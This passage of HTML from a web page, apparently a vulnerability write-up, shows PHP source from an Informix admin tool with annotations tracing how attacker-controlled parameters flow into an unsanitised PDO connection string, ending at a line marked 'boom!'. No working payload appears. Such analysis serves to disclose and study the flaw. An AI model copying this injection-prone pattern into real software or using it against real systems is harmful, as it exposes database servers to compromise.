class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">useSameConnection<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getDBConnection<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">serverName<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-12\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-13\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">useSameConnection<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-14\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-15\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-16\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-17\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ not required as this is using the PDO-&gt;query not the $idsadmin-&gt;db-&gt;query ,false,$exceptions,$locale);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-19\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">errorInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-20\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-21\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-22\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-e\">trigger_error<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;{$err[1]} &#8211; {$err[2]}&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">E_USER_ERROR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-23\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-24\"><span class=\"crayon-h\">\t\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-25\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">fetch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PDO<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">FETCH_ASSOC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-26\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-27\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-28\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-29\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-30\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">errorInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-31\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-32\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-33\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-34\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">closeCursor<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-35\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-36\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-37\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-38\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-39\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Error: {$err[2]} &#8211; {$err[1]}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-40\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">closeCursor<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-41\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-e\">trigger_error<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">E_USER_ERROR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-42\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-st\">continue<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-43\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-44\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-45\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-46\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-47\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0058 seconds] -->  <\/p>\n<p>At [2] getDBConnection() is called with controlled parameters, finally look:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979854a869082113\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \/**  \t * Gets connection to specified database  \t *\/  \tfunction getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout = 10, $locale = null)  \t{  \t\t\/\/$INFORMIXCONTIME=2;  \t\t$INFORMIXCONRETRY=10;  \t\tsettype($timeout, &#8216;integer&#8217;);    \t\tputenv(&#8220;INFORMIXCONTIME={$timeout}&#8221;);  \t\tputenv(&#8220;INFORMIXCONRETRY={$INFORMIXCONRETRY}&#8221;);    \t\t$dsn .= &#8220;informix:host={$host}&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [3]  \t\t$dsn .= &#8220;;service={$port}&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-  \t\t$dsn .= &#8220;;database={$dbname}&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;  \t\t$dsn .= &#8220;;protocol={$protocol}&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-  \t\t$dsn .= &#8220;;server={$serverName}&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-  \t\t$db = null;    \t\tif(substr(PHP_OS,0,3) != &#8220;WIN&#8221;)  \t\t{  \t\t\t$informixdir = $this-&gt;idsadmin-&gt;get_config(&#8220;INFORMIXDIR&#8221;);  \t\t\t$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == &#8220;DAR&#8221;) ? &#8220;dylib&#8221; : &#8220;so&#8221;;  \t\t\t$dsn .= &#8220;;TRANSLATIONDLL={$informixdir}\/lib\/esql\/igo4a304.&#8221;.$libsuffix;  \t\t\t$dsn .= &#8220;;Driver={$informixdir}\/lib\/cli\/libifdmr.&#8221;.$libsuffix.&#8221;;&#8221;;  \t\t}    \t\tif ( $locale != null )  \t\t{  \t\t\t$client_locale = substr($locale,0,strrpos($locale,&#8221;.&#8221;)) . &#8220;.UTF8&#8221;;  \t\t\t$dsn .= &#8220;;CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};&#8221;;  \t\t}           \t\tif ( $this-&gt;handlingPDOException === FALSE )  \t\t{  \t\t\ttry {  \t\t\t\t$db = new PDO (&#8220;{$dsn}&#8221;,$user,utf8_decode($password) ); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [4] boom!  \t\t\t}  \t\t\tcatch ( PDOException $e )  \t\t\t{  \t\t\t\t\/\/error_log(var_export ( $db-&gt;errorInfo() , true ) );  \t\t\t\t\/\/trigger_error($e-&gt;getMessage(),E_USER_ERROR);  \t\t\t\t$exception = $this-&gt;parsePDOException($e-&gt;getMessage());  \t\t\t\tthrow new SoapFault(&#8220;{$exception[&#8216;code&#8217;]}&#8221;,$exception[&#8216;message&#8217;]);  \t\t\t}  \t\t}  \t\telse  \t\t{  \t\t\t$db = new PDO (&#8220;{$dsn}&#8221;,$user,$password);  \t\t}  \t\treturn $db;  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854a869082113-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854a869082113-54\">54<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-2\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-3\"><span class=\"crayon-c\">\t * Gets connection to specified database<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-4\"><span class=\"crayon-c\">\t *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-5\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">getDBConnection<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">serverName<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-6\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-7\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/$INFORMIXCONTIME=2;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-8\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">INFORMIXCONRETRY<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-9\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">settype<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;integer&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854a869082113-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854a869082113-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span 